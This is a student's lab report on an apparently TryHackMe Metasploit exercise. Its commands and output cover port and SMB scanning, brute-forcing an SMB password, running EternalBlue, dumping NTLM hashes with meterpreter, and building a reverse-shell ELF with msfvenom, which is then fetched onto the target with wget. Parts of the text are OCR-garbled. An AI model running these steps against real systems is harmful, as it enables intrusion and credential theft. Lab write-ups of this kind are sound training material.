

Name: Ramya Ajay

Roll No: CB.EN.P2CYS22004

Metasploit Exploitation

Task-2: Scanning

- Search portscan: to search port scanning modules available

```
msf6 > search portscan

Matching Modules
=====

#  Name                                     Disclosure Date  Rank  Ch
--  -
0  auxiliary/scanner/portscan/ftpbounce      normal         No
   FTP Bounce Port Scanner
1  auxiliary/scanner/natpmp/natpmp_portscan  normal         No
   NAT-PMP External Port Scanner
2  auxiliary/scanner/sap/sap_router_portscan normal         No
   SAPRouter Port Scanner
3  auxiliary/scanner/portscan/xmas           normal         No
   TCP "XMas" Port Scanner
4  auxiliary/scanner/portscan/ack            normal         No
   TCP ACK Firewall Scanner
5  auxiliary/scanner/portscan/tcp            normal         No
   TCP Port Scanner
6  auxiliary/scanner/portscan/syn            normal         No
   TCP SYN Port Scanner
7  auxiliary/scanner/http/wordpress_pingback normal         No
   Wordpress Pingback Locator
```

- To show the options

```
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > show options

Module options (auxiliary/scanner/portscan/tcp):

Name          Current Setting  Required  Description
----          -
CONCURRENCY    10               yes       The number of concurrent ports to check
per host
DELAY          0                yes       The delay between connections, per thread, in milliseconds
JITTER        0                yes       The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
PORTS         1-10000          yes       Ports to scan (e.g. 22-25,80,110-900)
RHOSTS         yes              yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
THREADS       1                yes       The number of concurrent threads (max on one per host)
TIMEOUT       1000             yes       The socket connect timeout in milliseconds

View the full module info with the info, or info -d command.
```

- Doing nmap

```
msf6 > nmap -sS 10.10.150.15
[*] exec: nmap -sS 10.10.150.15

Starting Nmap 7.60 ( https://nmap.org ) at 2023-06-07 09:53 BST
Nmap scan report for ip-10-10-150-15.eu-west-1.compute.internal (10.10.150.15)
Host is up (0.0013s latency).
Not shown: 995 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
8000/tcp  open  http-alt
MAC Address: 02:8C:A9:20:1C:DB (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 1.63 seconds
```

- To find the services running in UDP

```
msf6 > use auxiliary/scanner/discovery/udp_sweep
msf6 auxiliary(scanner/discovery/udp_sweep) > run

[-] Msf::OptionValidateError The following options failed to validate: RHOSTS
msf6 auxiliary(scanner/discovery/udp_sweep) > set RHOSTS 10.10.150.15
RHOSTS => 10.10.150.15
msf6 auxiliary(scanner/discovery/udp_sweep) > run

[*] Sending 13 probes to 10.10.150.15->10.10.150.15 (1 hosts)
[*] Discovered NetBIOS on 10.10.150.15:137 (IP-10-10-150-15:<00>:U :IP-10-10-150-15
:<03>:U :IP-10-10-150-15:<20>:U :0000 MSBROWSE_0000<01>:G :ACME IT SUPPORT:<00>:G :AC
ME IT SUPPORT:<1d>:U :ACME IT SUPPORT:<1e>:G :00:00:00:00:00:00)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/discovery/udp_sweep) > █
```

- To find the smb scans

```
msf6 auxiliary(scanner/discovery/udp_sweep) > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > run

[-] Msf::OptionValidateError The following options failed to validate: RHOSTS
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 10.10.150.15
RHOSTS => 10.10.150.15
msf6 auxiliary(scanner/smb/smb_version) > run

[*] 10.10.150.15:445 - SMB Detected (versions:1, 2, 3) (preferred dialect:SMB
3.1.1) (compression capabilities:) (encryption capabilities:AES-128-CCM) (signature
s:optional) (guid:{312d7069-2d30-3031-2d31-35302d313500}) (authentication domain:IP
-10-10-150-15)
[*] 10.10.150.15:445 - Host could not be identified: Windows 6.1 (Samba 4.7.
6-Ubuntu)
[*] 10.10.150.15: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_version) > █
```

Answer the questions below

a) How many ports are open on the target system?

- First we conduct a search portscan

```
msf6 > search portscan

Matching Modules
=====
#  Name                                     Disclosure Date  Rank  Check  Description
-  - - - -                                     - - - - -
0  auxiliary/scanner/portscan/ftpbounce      normal          No    No      FTP Bounce Port Scanner
1  auxiliary/scanner/natpmp/natpmp_portscan  normal          No    No      NAT-PMP External Port Scanner
2  auxiliary/scanner/sap/sap_router_portscanner normal          No    No      SAPRouter Port Scanner
3  auxiliary/scanner/portscan/xmas           normal          No    No      TCP "XMas" Port Scanner
4  auxiliary/scanner/portscan/ack            normal          No    No      TCP ACK Firewall Scanner
5  auxiliary/scanner/portscan/tcp            normal          No    No      TCP Port Scanner
6  auxiliary/scanner/portscan/syn            normal          No    No      TCP SYN Port Scanner
7  auxiliary/scanner/http/wordpress_pingback_access normal          No    No      Wordpress Pingback Locator
```

- Next we go to the auxiliary portscan location and run a scan to it which shows the open ports, so we get 5 ports.

```
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 10.10.219.149
RHOSTS => 10.10.219.149
msf6 auxiliary(scanner/portscan/tcp) > run

[+] 10.10.219.149: - 10.10.219.149:22 - TCP OPEN
[+] 10.10.219.149: - 10.10.219.149:21 - TCP OPEN
[+] 10.10.219.149: - 10.10.219.149:139 - TCP OPEN
[+] 10.10.219.149: - 10.10.219.149:445 - TCP OPEN
[+] 10.10.219.149: - 10.10.219.149:8000 - TCP OPEN
[*] 10.10.219.149: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

b) Using the relevant scanner, what NetBIOS name can you see?

- First we give a search netbios

```
msf6 > search netbios

Matching Modules
=====
#  Name                                     Disclosure Date  Rank  Check  Description
-  - - - -                                     - - - - -
0  auxiliary/scanner/http/ntlm_info_enumeration normal          No    No      Host Information Enumeration via NTLM Authentication
1  auxiliary/spoof/llmnr/llmnr_response     normal          No    No      LLMNR Spoofer
2  auxiliary/scanner/netbios/nbname         normal          No    No      NetBIOS Information Discovery
3  auxiliary/spoof/nbns/nbns_response       normal          No    No      NetBIOS Name Service Spoofer
4  auxiliary/server/netbios/netbios_nat     2016-06-14      normal No    No      NetBIOS Response "BadTunnel" Brute Force Spoof (NAT Tunnel)
5  auxiliary/admin/netbios/netbios_spoof   2016-06-14      normal No    No      NetBIOS Response Brute Force Spoof (Direct)
6  auxiliary/dos/smb/smb_loris              2017-06-29      normal No    No      SMBLoris NBSS Denial of Service
7  auxiliary/server/wpad                    normal          No    No      WPAD.dat File Server
```

- Then we add the RHOSTS to it and then go to the netbios/nbname group and then press run

```
msf6 > use auxiliary/scanner/netbios/nbname
msf6 auxiliary(scanner/netbios/nbname) > run

[*] Msfr::OptionValidateError The following options failed to validate: RHOSTS
msf6 auxiliary(scanner/netbios/nbname) > set RHOSTS 10.10.219.149
RHOSTS => 10.10.219.149
msf6 auxiliary(scanner/netbios/nbname) > run

[*] Sending NetBIOS requests to 10.10.219.149->10.10.219.149 (1 hosts)
[+] 10.10.219.149 [IP-10-10-219-14] OS:Unix Names: ACME IT SUPPORT, IP-10-10-219-14) Addresses:(10.10.219.149) Mac:00:00:00:00:00:00
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/netbios/nbname) > █
```


c) What is running on port 8000?

- We entered search http_version

```
msf6 > search http_version

Matching Modules
=====
#  Name                                     Disclosure Date  Rank  Check  Description
-  - - - - -                               - - - - -
0  auxiliary/scanner/http/http_version      normal         No    HTTP Version Detection

Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/http/http_version
msf6 > use auxiliary/scanner/http/http_version
```

- We then added the RHOSTS and set the RPORT 8000 and run the file

```
msf6 auxiliary(scanner/http/http_version) > set RHOSTS 10.10.219.149
RHOSTS => 10.10.219.149

msf6 auxiliary(scanner/http/http_version) > set RPORT 8000
RPORT => 8000
msf6 auxiliary(scanner/http/http_version) > run

[+] 10.10.219.149:8000 webfs/1.21 ( 403-Forbidden )
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

d) What is the "penny" user's SMB password? Use the wordlist mentioned in the previous task.

- First we go to smb_login file

```
msf6 > search smb_login

Matching Modules
=====
#  Name                                     Disclosure Date  Rank  Check  Description
-  - - - - -                               - - - - -
0  auxiliary/scanner/smb/smb_login          normal         No    SMB Login Check Scanner
```

- set DB_ALL_PASS true and we set USERPASSFILE_FILE 'file location'

```
msf6 auxiliary(scanner/smb/smb_login) > set DB_ALL_PASS true
DB_ALL_PASS => true

msf6 auxiliary(scanner/smb/smb_login) > set USERPASS_FILE /usr/share/wordlists/MetasploitRoom/MetasploitWordlist.txt
USERPASS_FILE => /usr/share/wordlists/MetasploitRoom/MetasploitWordlist.txt
```

- and run the exploit

```
10.10.219.149:445 - 10.10.219.149:445 - Success: '.\penny:leo1234'
10.10.219.149:445 - 10.10.219.149:445 - Could not connect
```

Task - 3: The Metasploit Database

- The postgresql systemctl is running

```
root@ip-10-10-32-140:~# systemctl start postgresql
root@ip-10-10-32-140:~# msfdb init
Please run msfdb as a non-root user
root@ip-10-10-32-140:~# msfconsole
This copy of metasploit-framework is more than two weeks old.
Consider running 'msfupdate' to update to the latest version.
```

[illegible]

```
msf6 > db status
[*] Connected to msfdb. Connection type: postgresql.
msf6 >
```

- Now we add a workspace

```
msf6 > workspace -a tryhackme
[*] Added workspace: tryhackme
[*] Workspace: tryhackme
```

- Get information of the hosts

```
msf6 > hosts

Hosts
=====
address      mac  name      os_name  os_flavo  os_sp  purpose  info  comments
-----
10.10.205.0
10.10.219.149  ip-10-10-219-14  Unknown  device
10.10.224.231
```

- The services command used with the -S parameter will allow you to search for specific services in the environment.

```
msf6 > services -S netbios

Services
=====
host      port  proto  name  state  info
-----
10.10.219.149  137  udp    netbios  open  ACME IT SUPPORT:<00>:G :ACME IT SUPPORT
:<1e>:G :IP-10-10-219-14:<00>:U :IP-10-
10-219-14:<03>:U :IP-10-10-219-14:<20>:
U :00:00:00:00:00:00

msf6 > services -S http

Services
=====
host      port  proto  name  state  info
-----
10.10.219.149  80    tcp    http  open
10.10.219.149  8000  tcp    http  open  webfs/1.21 ( 403-Forbidden )
```

Task - 4: Vulnerability Scanning

- In the case of VNC, there are several scanner modules that we can use.

```
msf6 > use auxiliary/scanner/vnc/

Matching Modules
=====
#  Name                                     Disclosure Date  Rank  Check  Descript
ion
-  ----
0  auxiliary/scanner/vnc/ard_root_pw        normal         No    Apple Re
mote Desktop Root Vulnerability
1  auxiliary/scanner/vnc/vnc_none_auth      normal         No    VNC Auth
entication None Detection
2  auxiliary/scanner/vnc/vnc_login          normal         No    VNC Auth
entication Scanner
```

a) Who wrote the module that allows us to check SMTP servers for open relay?

- Campbell Murray

Task - 5: Exploitation

a) Exploit one of the critical vulnerabilities on the target VM

- A reverse payload will at least require you to set the LHOST option.

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lhost 10.10.184.221
lhost => 10.10.184.221
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

[-] Msf::OptionValidateError The following options failed to validate: RHOSTS
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.184.221
RHOSTS => 10.10.184.221
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

[-] Handler failed to bind to 10.10.184.221:4444:- -
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] 10.10.184.221:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.184.221:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.184.221:445 - Scanned 1 of 1 hosts (100% complete)
[*] 10.10.184.221:445 - The target is vulnerable.
[*] 10.10.184.221:445 - Connecting to target for exploitation.
[*] 10.10.184.221:445 - Connection established for exploitation.
[*] 10.10.184.221:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.184.221:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.184.221:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.10.184.221:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.10.184.221:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[*] 10.10.184.221:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.184.221:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.184.221:445 - Sending all but last fragment of exploit packet
[*] 10.10.184.221:445 - Starting non-paged pool grooming
[*] 10.10.184.221:445 - Sending SMBv2 buffers
[*] 10.10.184.221:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.184.221:445 - Sending final SMBv2 buffers.
[*] 10.10.184.221:445 - Sending last fragment of exploit packet!
[*] 10.10.184.221:445 - Receiving response from exploit packet
[*] 10.10.184.221:445 - ETERNALBLUE overwrite completed successfully (0xc000000d)!
[*] 10.10.184.221:445 - Sending egg to corrupted connection.
[*] 10.10.184.221:445 - Triggering free of corrupted buffer.
[-] 10.10.184.221:445 - =====
[-] 10.10.184.221:445 - =====FAIL=====
```

- Thus found a vulnerable file

b) What is the content of the flag.txt file?

- First we enter into the location of

```
meterpreter > search -f flag.txt
Found 1 result...
=====

Path                                     Size (bytes)  Modified (UTC)
-----
c:\Users\Jon\Documents\flag.txt         15            2021-07-15 03:39:25 +0100

meterpreter > cat c:/Users/Jon/Documents/flag.txt
THM-5455554845
meterpreter >
```

c) What is the NTLM hash of the password of the user "pirate"?

- Now we perform hash dump to get the hash of the password

```
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
pirate:1001:aad3b435b51404eeaad3b435b51404ee:8ce9a3ebd1647fcc5e04025019f4b875:::
```

Task - 6: Msfvenom

- Msfvenom will allow you to access all payloads available in the Metasploit framework.

```
root@ip-10-10-85-0:~# msfvenom -l payloads
```

<pre>windows/dns_txt_query_exec windows/download_exec windows/encrypted_shell/reverse_tcp windows/encrypted_shell_reverse_tcp windows/exec windows/format_all_drives windows/loadlllibrary windows/messagebox windows/meterpreter/blind_hidden_ipknock_tcp</pre>	<pre>Performs a TXT query against a series of DNS record(s) and executes the returned payload Download an EXE from an HTTP(S)/FTP URL and execute it Spawn a piped command shell (staged). Connect to MSF and read in stage Connect back to attacker and spawn an encrypted command shell Execute an arbitrary command This payload formats all mounted disks in Windows (aka ShellcodeOfDeath). After formatting, this payload sets the volume label to the string specified in the VOLUMELABEL option. If the code is unable to access a drive for any reason, it skips the drive and proceeds to the next volume. Load an arbitrary library path Spawns a dialog via MessageBox using a customizable title, text & icon Inject the Meterpreter server DLL via the Reflective DLL Injection payload (staged). Requires Wi ndows XP SP2 or newer. Listen for a connection. First, the port will need to be knocked from the IP defined in KHOST. This IP will work as an authentication method (you can spoof it with tools like hping). After that you could get your shellcode from any IP. The socket will appear as "cl osed," thus helping to hide the shellcode</pre>
--	--

a) Launch the VM attached to this task. The username is murphy, and the password is 1q2w3e4r. You can connect via SSH or launch this machine in the browser. Once on the terminal, type "sudo su" to get a root shell, this will make things easier.

- Now we login to the remote system using username murphy and password.

```
root@ip-10-10-85-0:~# ssh murphy@10.10.55.160
murphy@10.10.55.160's password:
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 5.4.0-1029-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

System information as of Thu Jun  8 13:05:37 UTC 2023

System load:  0.0               Processes:    90
Usage of /:   4.0% of 29.02GB   Users logged in:  0
Memory usage: 16%              IP address for eth0: 10.10.55.160
Swap usage:   0%

0 packages can be updated.
0 updates are security updates.
```


b) Create a meterpreter payload in the .elf format (on the AttackBox, or your attacking machine of choice).

```
msf6 > msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f elf > rev_shell.elf
[*] exec: msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f elf > rev_shell.elf

Overriding user environment variable 'OPENSSL_CONF' to enable legacy functions.
```

c) Transfer it to the target machine (you can start a Python web server on your attacking machine with the `python3 -m http.server 9000` command and use `wget` http://ATTACKING_10.10.6.84:9000/shell.elf to download it to the target machine).

```
root@ip-10-10-6-84:/# wget http://10.10.111.246:9000/rev_shell.elf
--2023-06-11 11:33:14-- http://10.10.111.246:9000/rev_shell.elf
Connecting to 10.10.111.246:9000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 207 [application/octet-stream]
Saving to: 'rev_shell.elf'

rev_shell.elf      100%[=====>]      207  --.-KB/s    in 0s
2023-06-11 11:33:14 (34.7 MB/s) - 'rev_shell.elf' saved [207/207]
```